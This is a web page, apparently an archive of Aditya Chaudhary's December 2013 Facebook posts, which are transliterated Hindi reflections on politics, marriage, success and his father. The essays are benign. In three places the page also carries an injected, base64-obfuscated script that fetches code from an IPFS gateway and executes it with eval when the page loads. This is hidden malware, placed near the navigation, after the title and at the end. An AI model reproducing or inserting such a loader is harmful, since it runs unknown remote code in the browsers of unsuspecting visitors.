आदित्य चौधरी -फ़ेसबुक पोस्ट दिसम्बर 2013

adity chaudhari fesabuk post

varsh 2010-2011   •   varsh 2012   •   sitanbar 2013   •   aktoobar 2013   •   navanbar 2013   •   disanbar 2013   •   janavari 2014   •   faravari 2014   •   march 2014   •   aprॅl 2014   •   mee 2014   •   joon 2014   •   julaee 2014   •   agast 2014   •   sitanbar 2014   •   aktoobar 2014   •   navanbar 2014   •   disanbar 2014   •   janavari 2015   •   faravari 2015   •   march 2015   •   aprॅl 2015   •   mee 2015   •   joon 2015   •   julaee-sitambar 2015   •   aktoobar-disambar 2015   •   janavari-joon 2016   •   julaee-disambar 2016   •   janavari-march 2017   •   aprail 2017   •   mee-disanbar 2017

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

adity chaudhari- fesabuk post

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dinaank- 28 disambar, 2013 250px|right raja maharajaoan ke kal mean to yah kaha jana sahi raha hoga- "yatha raja tatha praja" yane jaisa raja vaisi praja. lekin lokatantr mean to apana raja, ham chunate haian. ab to isaka thik ulta yane "yatha praja tatha raja" hi sahi baithata hai. neta jaise bhi haian, unake acharan ke lie, ve nahian, balki sirf aur sirf ham zimmedar haian. prajataantrik vyavastha mean ayogy netaoan ko gali dene ka arth hai, apane ap ko hi gali dena. kabhi yah sochane mean bhi samay lagana chahie ki kya karan hai ki neta din b din 'aneta' hote ja rahe haian ? kahian isaka karan ye to nahian ki ham mean hi kuchh g dab d hai ? zara ham apane garebaan mean bhi jhaank kar dekhean... dinaank- 28 disambar, 2013 250px|right yadi p dos se rote hue bachche ke rone ki avaz se apake dhyan, pooja ya stuti jaise kary mean badha nahian p dati aur apaka dhyan bhang nahian hota, to ap kisi sannyasi, sadhu, sant ya dharmatma ki shreni mean nahian balki dushtatma ki shreni mean ate haian. dinaank- 28 disambar, 2013 250px|right iansan, zyada paisa kamane par kuchh aur kar paye ya n kar pae lekin khokhale rishte jo dane aur sachche rishte to dane ka kam b de suvidhajanak tariqe se garv ke sath kar leta hai. dinaank- 23 disambar, 2013 250px|right kaun sahare vishvasoan ke jita hai? kaun diva svapnoan ki madira pita hai? mar diya usako hi jisane muanh khola ya phir jeloan mean hi jivan bita hai bhari jeb valoan ke bhitar mat jhaanko sab kuchh bhara milega, dil hi rita hai nahian asara milata ho jab mahaloan mean koee jhoanp di dhooandho, bahut subhita hai khair manao yar! abhi tum zinda ho roz zahar khakar bhi koee jita hai ? netaoan ke sachche jhoothe jhag doan mean votar apana phata garebaan sita hai khuda aur bhagavanoan ki is duniya mean ek bhale manus ka bahut fazita hai. dinaank- 17 disambar, 2013 250px|right ianglॅnd ke poorv pradhanamantri viangsatan charchil ne kaha hai- "If a man is not a socialist by the time he is 20, he has no heart. If he is not a conservative by the time he is 40, he has no brain." ise hindi mean kahean to- 20 varsh ki umr ke as-pas jo soshalist (ya vamapanthi) nahian hai usake dil nahian hai, arthath vah ek naisargik bhavuk yuva nahian hai aur 40 ki umr ke as-pas jo dakshin panthi (ya pooanjivadi) nahian hai usake dimag nahian hai, arthath usake pas vyavaharik buddhi nahian hai. dinaank- 15 disambar, 2013 250px|right duniya ke vikasit deshoan ki lokataantrik chunav prakriya mean netaoan ko janata ki samasya ko hal karane ki bat, usake hal karane ke karyakram aur prakriya ke sath karani hoti hai. jaise ki yadi koee parti ya neta kahata hai ki vah satta mean aya, to berozagari kam karega, to use poora karyakram bhi prakriya sahit batana p data hai ki kaun-kaun se upay vah kis-kis sansadhan ka upayog karake karega. hamare desh mean to rit hi nirali hai. chunav mean neta bazigar ki tarah kahata phirata hai ki phalaan samasya to hamare satta mean ate hi khatm ho jaegi. yadi poochha jay ki kaise ? to koee uchit uttar nahian hota. partiyoan ke chunavi ghoshana patr bhi koee spasht karyakram nahian batate. koee kuchh bhi kahe lekin bharat ki janata ko sirf aisa neta chahie jo bharat ki vishal abadi ko hi bharat ke vikas aur pragati ka karan bana sake, n ki badhati abadi ka rona rokar apani asaphalata se dhyan hatata phire. hamean aisa neta chahie jo bharat ki vishal abadi ko kamazori manane ki bajay taqat samajh kar use utpadan mean jhoank dene vala ek suniyojit karyakram rakhata ho. jo 'vishal abadi-vishal utpadan' ke mantr ko vyavahar ke dharatal par utar sake. aj hamari vishal abadi, vishv ka sabase utpadak n hokar, vishv ka sabase b da upabhokta ban gayi hai. jo hamari samajh mean nahian aya vah chin ne samajh liya. chin ne apani abadi ko hi apana hathiyar banaya aur use utpadan mean laga diya. isalie vishv bazar mean, bharat ek b da kharidadar ban kh da hai aur chin ek b da vikreta banakar. dinaank- 14 disambar, 2013 250px|right pratap sianh kairoan pachas ke dashak mean panjab ke mukhyamantri rahe. unake shasan ka udaharan aj bhi diya jata hai aur mahanh neta saradar vallabh bhaee patel se unaki tulana ki jati hai. us daur mean bhi anaj ki kalabazari zoroan par thi. desh naya-naya azad hua tha. rajy sarakaroan ke pas sansadhan kam the. jamakhoroan aur dalaloan ne anaj godamoan mean band kiya hua tha, manhagaee asaman ko chhoone lagi thi, janata trahi-trahi kar rahi thi. kisi ke samajh mean nahian a raha tha ki kya kiya jana chahie. kairoan ne ek ganbhir janahitakari chal chali... kendr sarakar aur rel mantralay ki sahayata se kee malaga diyaan relave steshanoan par ja pahuanchi jinake dabbe sil band the aur unapar vibhinn anajoan ke nam likhe hue the. shaharoan mean ag ki tarah se ye khabar phail gayi ki sarakar ne 'bahar' se anaj mangava liya hai. itana sunana tha ki jamakhoro ne apana anaj bazar mean anan-phanan mean bechana shuroo kar diya. manhagaee turant qaboo mean a gee. ek saptah bad malaga diyaan jyoan ki tyoan vapas laut geean kyoanki ve khali thian.... yadi sarakar than le to desh ki tarakki ke lie hazar-lakh tariqe nikal sakati hai lekin... dinaank- 14 disambar, 2013 250px|right mata, pita, putri aur guru ko har jagah mahima mandit kiya jata hai. putr, shishy, patni aur pati ko nahian... aisa kyoan? ho sakata hai ki isaka karan ye ho ki mal-matta to sab putr, shishy, patni aur pati ke hath p data hai... ab baqi bache mata-ipata, putri aur guru to in becharoan ki prashansa karate raho to 'sait' raheange... aisa hai kya ? ye ho bhi sakata hai... aur nahian bhi... ! ek nazar is nazariye par bhi- patni apane pati ko maan se adhik la d aur sneh, bahan se adhik sath, putri se adhik samman aur guru se adhik shiksha dekar bhi apane pati se sarvajanik prashansa ki char lainoan ke lie maharoom kyoan ? pati apani patni ko pita se adhik la d aur sneh, bhaee se adhik suraksha, putr se adhik usake mamatv ki santripti aur guru se adhik shiksha dekar bhi apani patni se sarvajanik prashansa ki char lainoan ke lie maharoom kyoan ? pati ya patni ki prashansa mean likhane mean hamean kya hichak hai ? koee sharm hai kya ? ek bat aur hai jo log yari-dosti mean zyada mashagool rahate haian. unako shayad yah nahian maloom ki pati-patni, apas mean sabase b de razadar hote haian. isalie sabase b de dost bhi. ye dosti aisi hoti hai jo ki rishta khatm hone par bhi ek-doosare ke raz banae rakhati hai, kholati nahian. vo bat alag hai ki jab ye un razoan ko kholane par ate haian to vo raz bhi khul jate haian jinako ham bhagavan se bhi chhupate haian lekin samanyat: aisa hota nahian hai. yad rakhie apani jan to hamare lie koee bhi de sakata hai lekin apana jivan to ek doosare ko pati-patni hi dete haian. yah sahi hai ki 'mata-pita hi hamare sakshath bhagavan haian'. lekin yah bhi mat bhoolie ki pati-patni bhi ek doosare ke lie sakshat n sahi to 'mini bhagavan' haian. aisa nahian hai ki pati-patni ke rishte ka adhar keval santan hai. dinaank- 13 disambar, 2013 250px|right 'p aauzativ thiankiang' yane sakaratmak soch ke sanbandh mean kuchh log sikhate haian ki apane prayatn ke achchhe parinam ke sanbandh mean ashvasth rahana hi p aauzitiv thiankiang hai. kuchh log is shiksha ko sikh bhi jate haian. yah sakaratmak soch nahian hai balki ati ashavadi hona hai. sakaratmak soch hai parinam ki pratiksha ke prati sahaj ho jana. yane bina bechaini ke pratiksha karana. pratiksha mean sahaj hona hi sakaratmak soch hai. vaise to jivan bahut kuchh hai lekin jivan ek pratiksha bhi hai. sabhi ko kisi n kisi ki pratiksha hai aur pratiksha karane mean bechaini hona samany bat hai. bahut kam log aise haian jo pratiksha karane mean bechain nahian hote. asal mean ham jitane adhik nasamajh hote haian utana hi pratiksha karane mean bechain rahate haian. bachchoan ko yadi ham dekhean to asani se samajh sakate haian ki kisi ki pratiksha karane mean bachche kitane adhir hote haian. dhire-dhire jab umr badhati hai to yah adhirata kam hoti jati hai kyoanki unamean 'samajh' a jati hai. isi 'samajh' ko samajhana zaroori hai kyoanki jab tak ham yah nahian samajheange ki hamare jivan mean pratiksha ka kya mahattv hai aur isaka hamare jivan par kya prabhav hota hai tab tak ham sakaratmak soch nahian samajh sakate. sidhi si bat hai ki sakaratmak soch ke vyakti bahut kam hi hote haian. raja ho ya rank isase koee aantar nahian p data. sadhu-sant bhi eeshvar ke darshan ki ya moksh ki pratiksha mean rahate haian. yahaan samajhane vali bat ye hai ki ham pratiksha kaise kar rahe haian. yadi koee sant moksh ki pratiksha mean hai aur vah sahaj roop se yah pratiksha nahian kar raha to usaka marg hi poornataya arthahin hai. yadi aur gaharaee se dekhean to moksh ko 'prapt' karane jaisa bhi kuchh nahian hai. moksh to 'hota' aur 'ghatata' hai, bas ise samajhana zaroori hai. jivan mean sahajata ko prapt ho jana hi moksh ko prapt ho jana hai. pratiksha ke prati sahaj bhav ho jana hi hamean sakaratmak soch vala vyakti banata hai. asal mean pratiksha ke prati nirlipt ho jana hi sakaratmak soch hai. jo ki nishchit roop se kathin hai. dinaank- 13 disambar, 2013 250px|right bahadur use mana gaya, jisane apane dar ko pradarshit nahian hone diya sahishnu vah mana gaya, jisane apani eershya ko pradarshit nahian hone diya vinamr vah mana gaya, jisane apane ahankar ko pradarshit nahian hone diya sundar vah mana gaya, jisane apani kuroopata ko pradarshit nahian hone diya charitravan vah mana gaya, jisane apane dushvaritr ko pradarshit nahian hone diya eemanadar vah mana gaya, jisane apani beeemani ko pradarshit nahian hone diya buddhiman vah mana gaya, jisane apani moorkhataoan ko pradarshit nahian hone diya saphal shikshak vah mana gaya, jisane apane ajnan ko pradarshit nahian hone diya ahiansak aur dayalu vah mana gaya, jisane apani hiansa ko pradarshit nahian hone diya saphal premi/premika, ve mane ge jinhoanne apani parasparik ghrina ko pradarshit nahian hone diya kintu mahanh keval vah hi hai jisane apane 'un karanoan' ke pichhe chhupi kamazoriyoan ko bhi nahian chhupaya  'jin karanoan' ke chalate vah prashansaniy aur saphal hua. dinaank- 10 disambar, 2013 250px|right mujhe garv hai ki maian, chaudhari digambar sianh ji ka beta hooan. aj 10 disambar ko unaki puny tithi hai. pitaji svatantrata senani the. 4 bar lokasabha saansad rahe (tin bar mathura, ek bar eta) aur 25 varsh lagatar, mathura zi. sahakari baiank ke adhyaksh rahe . sadagi ka jivan jite the. kabhi koee nasha nahian kiya aur ajivan poorn svasth rahe. rajanaitik pratidvandi hi unake mitr bhi hote the. unaki vyaktigat nikatata pan. neharoo, lohiya ji, shastri ji, pant ji, iandira ji, chau. charan sianh ji, atal ji, chandrashekhar ji adi se rahi. sabhi vicharadhara ke log unaki mitrata ki soochi mean the chahe vah janasanghi ho ya marksavadi. sabhi dharmoan ka adhyayan unhoanne kiya tha. jativad se unaka koee lena-dena nahian tha. ve behad 'haiandasam' the. unhean pahali sansad 1952 mean mistar parliyament ka khitab bhi mila. sansad mean die unake bhashanoan ko rajasthan mean sahakari shiksha ke pathyakram mean liya gaya. unaki sabase adhik mahatvapoorn bat yah thi ki jab ve sansad mean bolate the to apani parti ke lie nahian balki nishpaksh roop se kisanoan ke hit mean bolate the. is karan unako kendriy mantrimandal mean lene se neta sakuchate the ki pata nahian kab sarakar ke hi khilaf bol dean. unhoanne zamiandar parivar se hone ke bavajood apana khet unhian ko dan kar die the jo unhean jot rahe the. saansad kal mean unhoanne raja-maharajaoan ko milane vale privipars ke khilaf vot diya tha jab ki unhean us vakt lakhoan rupaye ka lalach diya gaya tha. un jaisa neta aur iansan hona ab mumakin nahian hai. ve mere hiro the, guru the aur mitr the. aj bharatakosh ke karan vishv bhar mean mujhe pahachan aur samman mil raha hai kiantu meri sabase b di pahachan yahi hai ki maian unaka beta hooan. dinaank- 6 disambar, 2013 250px|right phaansi garib ka janmasiddh adhikar hai kya ? kabhi hisab-kitab lagaean aur phaansi lagane valoan ke aank de dekhean to pata chalega ki is soochi mean shayad hi koee bhi arabapati ho. shayad ek bhi nahian... ye kaisa sanyog hai ki koee bhi amir vyakti phaansi ke yogy aparadh nahian karata? yadi yah mana bhi jay ki sidhe-sidhe aparadh mean shamil hone ki sanbhavana kisi b de pooanjipati ki nahian banati to bhi sh dayantrakari ki saza bhi to vahi hai jo aparadh ka dinaank- 3 disambar, 2013 250px|right        akhir, saphalata milati kaise hai ? kya koee aisa mantr, tantr, yukti ya kitab hai jo saphalata dila de ? haan hai... nishchit hai! jis tarah 'bhookh mean svad' aur 'sharirik shram mean niand' chhupi hoti hai usi tarah 'junoon' mean saphalata chhupi hoti hai. junoon kahie ya pॅshan, yahi hai ek matr rasta, saphalata ka... ...lekin kis tarah...        asal mean jis dhaanche mean ham dhale hue hote haian usamean hamari soch ke simit dayare mean ghoomati rahati hai. isi soch ki vajah se jo hamari 'pasand' ya 'ichchha' hoti hai usase ham chunate haian apana 'kairiyar'. jabaki apane junoon ko ham sahi tarah se pahachan karane ki bhi koshish ham nahian karate. apane dekha hoga ki log apani 'h aaubi' mean hi 'junoon' ki santushti pate haian. yadi apana kairiyar bhi apane junoon ko samajhate hue chuna jay dinaank- 3 disambar, 2013 250px|right jis pal mean ham yah kah rahe hote haian ki ab to zamana kharab a gaya to sahasa ham is zamane ke kate hone ke bat kah rahe hote haian aur khud ko is maujooda vaqt se talamel n bitha pane vala vyakti ghoshit kar rahe hote haian.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>